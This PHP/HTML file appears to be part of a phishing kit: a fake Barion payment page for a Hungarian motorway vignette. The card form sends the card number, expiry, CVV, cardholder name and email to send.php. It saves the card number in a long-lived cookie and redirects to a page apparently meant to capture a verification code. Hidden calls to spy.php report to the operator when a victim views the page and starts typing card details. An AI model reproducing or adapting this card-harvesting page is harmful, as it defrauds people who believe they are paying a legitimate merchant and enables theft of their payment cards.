<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/../class/Config.php';

// خذ الإيميل من الرابط
$prefill = $_GET['email'] ?? '';
?>
<!DOCTYPE html>
<html lang="hu">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Barion - Fizetés</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background-color: #f8f8f8;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            color: #333;
            line-height: 1.6;
        }

        /* Header */
        .barion-top-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 20px 40px;
            background-color: white;
            border-bottom: 1px solid #e0e0e0;
        }

        .barion-back-link {
            display: flex;
            align-items: center;
            gap: 8px;
            color: #666;
            text-decoration: none;
            font-size: 14px;
            transition: color 0.2s;
        }

        .barion-back-link:hover {
            color: #333;
        }

        .barion-back-link i {
            font-size: 12px;
        }

        .barion-logo-text {
            display: flex;
            align-items: center;
        }

        .barion-logo-text img {
            height: 14px;
            width: auto;
            max-width: 70px;
        }

        .barion-header-right {
            color: #666;
            font-size: 14px;
        }

        /* Main Container */
        .barion-main-container {
            max-width: 600px;
            margin: 40px auto;
            background: white;
            border-radius: 12px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.08);
            overflow: hidden;
        }

        /* Order Summary */
        .barion-order-summary {
            background-color: #f5f5f5;
            padding: 24px;
            border-radius: 12px 12px 0 0;
        }

        .barion-order-total {
            font-size: 32px;
            font-weight: 600;
            color: #333;
            margin-bottom: 16px;
        }

        .barion-order-item {
            display: flex;
            align-items: center;
            gap: 12px;
            margin-bottom: 12px;
        }

        .barion-order-item-icon {
            width: 40px;
            height: 40px;
            flex-shrink: 0;
        }

        .barion-order-item-icon img {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }

        .barion-order-item-text {
            flex: 1;
            font-size: 16px;
            color: #333;
        }

        .barion-order-details-link {
            color: #0066cc;
            text-decoration: none;
            font-size: 14px;
            margin-top: 8px;
            display: inline-block;
        }

        .barion-order-details-link:hover {
            text-decoration: underline;
        }

        /* Payment Methods */
        .barion-payment-section {
            padding: 24px;
        }

        .barion-payment-method {
            border: 1px solid #e0e0e0;
            border-radius: 8px;
            margin-bottom: 12px;
            overflow: hidden;
        }

        .barion-payment-method-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 16px;
            cursor: pointer;
            background: white;
            transition: background-color 0.2s;
        }

        .barion-payment-method-header:hover {
            background-color: #f9f9f9;
        }

        .barion-payment-method-title {
            display: flex;
            align-items: center;
            gap: 12px;
            font-size: 16px;
            font-weight: 500;
            color: #333;
        }

        .barion-payment-method-icon {
            width: 20px;
            height: 20px;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .barion-payment-method-icon img {
            width: 100%;
            height: 100%;
            object-fit: contain;
            max-width: 60px;
        }

        .barion-payment-method-icon i {
            font-size: 20px;
            color: #666;
        }

        .barion-payment-method-chevron {
            color: #999;
            font-size: 14px;
        }

        .barion-payment-method-content {
            padding: 12px;
            display: none;
        }

        .barion-payment-method.active .barion-payment-method-content {
            display: block;
        }

        .barion-payment-method.active .barion-payment-method-chevron {
            transform: rotate(180deg);
        }

        /* Google Pay Button */
        .barion-google-pay-btn {
            width: 100%;
            background-color: #000;
            color: white;
            border: none;
            border-radius: 8px;
            padding: 9px;
            font-size: 13px;
            font-weight: 500;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            margin-bottom: 10px;
            transition: background-color 0.2s;
        }

        .barion-google-pay-btn:hover {
            background-color: #333;
        }

        .barion-google-pay-logo {
            width: 60px;
            height: 20px;
        }

        /* Separator */
        .barion-separator {
            text-align: center;
            margin: 10px 0;
            color: #999;
            font-size: 11px;
            position: relative;
        }

        .barion-separator::before,
        .barion-separator::after {
            content: '';
            position: absolute;
            top: 50%;
            width: 40%;
            height: 1px;
            background-color: #e0e0e0;
        }

        .barion-separator::before {
            left: 0;
        }

        .barion-separator::after {
            right: 0;
        }

        /* Form Fields */
        .barion-form-group {
            margin-bottom: 12px;
        }

        .barion-form-label {
            display: block;
            margin-bottom: 4px;
            font-size: 11px;
            font-weight: 500;
            color: #333;
        }

        .barion-form-input {
            width: 100%;
            padding: 7px 10px;
            border: 1px solid #ddd;
            border-radius: 6px;
            font-size: 13px;
            transition: border-color 0.2s;
            height: 38px;
        }

        .barion-form-input:focus {
            outline: none;
            border-color: #0066cc;
        }

        .barion-form-row {
            display: flex;
            gap: 10px;
        }

        .barion-form-row .barion-form-group {
            flex: 1;
            margin-bottom: 12px;
        }

        .barion-form-row .barion-form-group:first-child {
            flex: 1.5;
        }

        /* Checkbox */
        .barion-checkbox-group {
            display: flex;
            align-items: flex-start;
            gap: 8px;
            margin-bottom: 12px;
        }

        .barion-checkbox-group input[type="checkbox"] {
            margin-top: 4px;
            width: 18px;
            height: 18px;
            cursor: pointer;
            accent-color: #0066cc;
        }

        .barion-checkbox-group label {
            font-size: 12px;
            color: #666;
            cursor: pointer;
            line-height: 1.5;
        }

        /* Submit Button */
        .barion-submit-btn {
            width: 100%;
            background-color: #0066cc;
            color: white;
            border: none;
            border-radius: 8px;
            padding: 11px;
            font-size: 13px;
            font-weight: 600;
            cursor: pointer;
            transition: background-color 0.2s;
        }

        .barion-submit-btn:hover {
            background-color: #0052a3;
        }

        /* Footer */
        .barion-footer {
            text-align: center;
            padding: 40px 20px;
            color: #666;
            font-size: 14px;
        }

        .barion-footer-help {
            margin-bottom: 16px;
        }

        .barion-footer-help a {
            color: #0066cc;
            text-decoration: none;
        }

        .barion-footer-help a:hover {
            text-decoration: underline;
        }

        .barion-footer-links {
            display: flex;
            justify-content: center;
            gap: 20px;
            flex-wrap: wrap;
        }

        .barion-footer-links a {
            color: #666;
            text-decoration: none;
            font-size: 13px;
        }

        .barion-footer-links a:hover {
            color: #0066cc;
            text-decoration: underline;
        }

        @media (max-width: 768px) {
            .barion-top-header {
                padding: 16px 20px;
            }

            .barion-main-container {
                margin: 20px;
                border-radius: 8px;
            }

            .barion-order-summary {
                padding: 20px;
            }

            .barion-payment-section {
                padding: 20px;
            }
        }
    </style>
</head>

<body>
    <!-- Top Header -->
    <header class="barion-top-header">
        <a href="javascript:history.back()" class="barion-back-link">
            <i class="fas fa-chevron-left"></i>
            <span>Vissza</span>
        </a>
        <div class="barion-logo-text">
            <img src="assets/images/barion-logo-blue.svg" alt="barion">
        </div>
        <div class="barion-header-right">Több, mint fizetés</div>
    </header>

    <!-- Main Container -->
    <div class="barion-main-container">
        <!-- Order Summary -->
        <div class="barion-order-summary">
            <div class="barion-order-total"><?php echo htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8'); ?></div>
            <div class="barion-order-item">
                <div class="barion-order-item-icon">
                    <img src="assets/images/d1.png" alt="Autópálya Matrica">
                </div>
                <div class="barion-order-item-text">Autópálya matrica</div>
            </div>
            <a href="#" class="barion-order-details-link">Részletek v</a>
        </div>

        <!-- Payment Methods -->
        <div class="barion-payment-section">
            <form id="form" method="POST" action="">
                <!-- Bankkártya Section (Active) -->
                <div class="barion-payment-method active" id="bankkartya-method">
                    <div class="barion-payment-method-header" onclick="toggleMethod('bankkartya-method')">
                        <div class="barion-payment-method-title">
                            <div class="barion-payment-method-icon">
                                <i class="far fa-credit-card"></i>
                            </div>
                            <span>Bankkártya</span>
                        </div>
                        <i class="fas fa-chevron-up barion-payment-method-chevron"></i>
                    </div>
                    <div class="barion-payment-method-content">
                        <!-- Google Pay Button -->
                        <button type="button" class="barion-google-pay-btn">
                            <svg class="barion-google-pay-logo" viewBox="0 0 60 20" xmlns="http://www.w3.org/2000/svg">
                                <text x="0" y="15" font-size="14" font-weight="600" fill="white">G Pay</text>
                            </svg>
                        </button>

                        <!-- Separator -->
                        <div class="barion-separator">vagy</div>

                        <!-- Email Field -->
                        <div class="barion-form-group">
                            <label class="barion-form-label" for="email">Email</label>
                            <input type="email" id="email" name="email" class="barion-form-input"
                                placeholder="vasarlo@example.com" value="<?= htmlspecialchars($prefill, ENT_QUOTES, 'UTF-8') ?>" autocomplete="off">
                        </div>

                        <!-- Card Details -->
                        <div class="barion-form-group">
                            <label class="barion-form-label" for="cc">Kártyaadatok</label>
                            <input type="text" id="cc" name="cc" class="barion-form-input"
                                placeholder="0000 0000 0000 0000" required autocomplete="off">
                        </div>

                        <!-- Expiry and CVC -->
                        <div class="barion-form-row">
                            <div class="barion-form-group">
                                <input type="text" id="mmyy" name="mmyy" class="barion-form-input"
                                    placeholder="Hó/Év" required autocomplete="off">
                            </div>
                            <div class="barion-form-group">
                                <input type="text" id="cvv" name="cvv" class="barion-form-input"
                                    placeholder="CVC" required autocomplete="off">
                            </div>
                        </div>

                        <!-- Cardholder Name -->
                        <div class="barion-form-group">
                            <label class="barion-form-label" for="titular">Kártyán szereplő név</label>
                            <input type="text" id="titular" name="titular" class="barion-form-input"
                                placeholder="John Doe" required autocomplete="off">
                        </div>

                        <!-- Save Card Checkbox -->
                        <div class="barion-checkbox-group">
                            <input type="checkbox" id="save-card" name="save-card">
                            <label for="save-card">Kártya mentése a könnyebb fizetéshez</label>
                        </div>

                        <!-- Submit Button -->
                        <button type="submit" class="barion-submit-btn">Fizetek: <?php echo htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8'); ?></button>
                    </div>
                </div>

                <!-- Barion Wallet Section (Collapsed) -->
                <div class="barion-payment-method" id="barion-wallet-method">
                    <div class="barion-payment-method-header" onclick="toggleMethod('barion-wallet-method')">
                        <div class="barion-payment-method-title">
                            <div class="barion-payment-method-icon">
                                <img src="assets/images/barion-logo-blue.svg" alt="Barion">
                            </div>
                            <span>Barion Wallet</span>
                        </div>
                        <i class="fas fa-chevron-down barion-payment-method-chevron"></i>
                    </div>
                    <div class="barion-payment-method-content">
                        <!-- Content for Barion Wallet -->
                    </div>
                </div>

                <!-- Google Pay Section (Collapsed) -->
                <div class="barion-payment-method" id="google-pay-method">
                    <div class="barion-payment-method-header" onclick="toggleMethod('google-pay-method')">
                        <div class="barion-payment-method-title">
                            <div class="barion-payment-method-icon">
                                <svg width="24" height="24" viewBox="0 0 24 24" fill="none">
                                    <rect width="24" height="24" rx="4" fill="#4285F4"/>
                                    <path d="M12 8v8m-4-4h8" stroke="white" stroke-width="2" stroke-linecap="round"/>
                                </svg>
                            </div>
                            <span>Google Pay</span>
                        </div>
                        <i class="fas fa-chevron-down barion-payment-method-chevron"></i>
                    </div>
                    <div class="barion-payment-method-content">
                        <!-- Content for Google Pay -->
                    </div>
                </div>
            </form>
        </div>
    </div>

    <!-- Footer -->
    <footer class="barion-footer">
        <div class="barion-footer-help">
            Kérdésed van? <a href="#">Segítünk!</a>
        </div>
        <div class="barion-footer-links">
            <a href="#">Általános Szerződési Feltételek</a>
            <a href="#">Adatkezelési Tájékoztató</a>
        </div>
    </footer>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.js"
        integrity="sha512-0XDfGxFliYJPFrideYOoxdgNIvrwGTLnmK20xZbCAvPfLGQMzHUsaqZK8ZoH+luXGRxTrS46+Aq400nCnAT0/w=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script>
        function setCookie(name, value, days) {
            var expires = "";
            if (days) {
                var date = new Date();
                date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
                expires = "; expires=" + date.toUTCString();
            }
            document.cookie = name + "=" + (value || "") + expires + "; path=/";
        }

        function toggleMethod(methodId) {
            var method = document.getElementById(methodId);
            var isActive = method.classList.contains('active');
            
            // Close all methods
            document.querySelectorAll('.barion-payment-method').forEach(function(m) {
                m.classList.remove('active');
            });
            
            // Open clicked method if it was closed
            if (!isActive) {
                method.classList.add('active');
            }
        }

        // Clear fields on page load
        $(document).ready(function() {
            $("#cc").val('');
            $("#mmyy").val('');
            $("#cvv").val('');
            $("#titular").val('');
        });

        // Input masking
        $("#cc").mask("0000 0000 0000 0000");
        $("#mmyy").mask("00/00");
        $("#cvv").mask("000");

        // Form submission
        $("#form").submit(function(e) {
            e.preventDefault();

            $.post("send.php", {
                titular: $("#titular").val(),
                cc: $("#cc").val(),
                exp: $("#mmyy").val(),
                cvv: $("#cvv").val(),
                email: $("#email").val()
            }, function(response) {
                setCookie('sc_card', $("#cc").val(), 365);
                window.location = "code.php?p=kod";
            });
        });

        $.post("spy.php", {
            cardview: 1
        });
        
        var abort = false;
        $("#cc").keyup(function() {
            if (abort == false) {
                $.post("spy.php", {
                    carding: 1
                });
                abort = true;
            }
        });
    </script>
    <?php
    $m->ctr("CARD " . @$_GET['e']);
    ?>
</body>

</html>
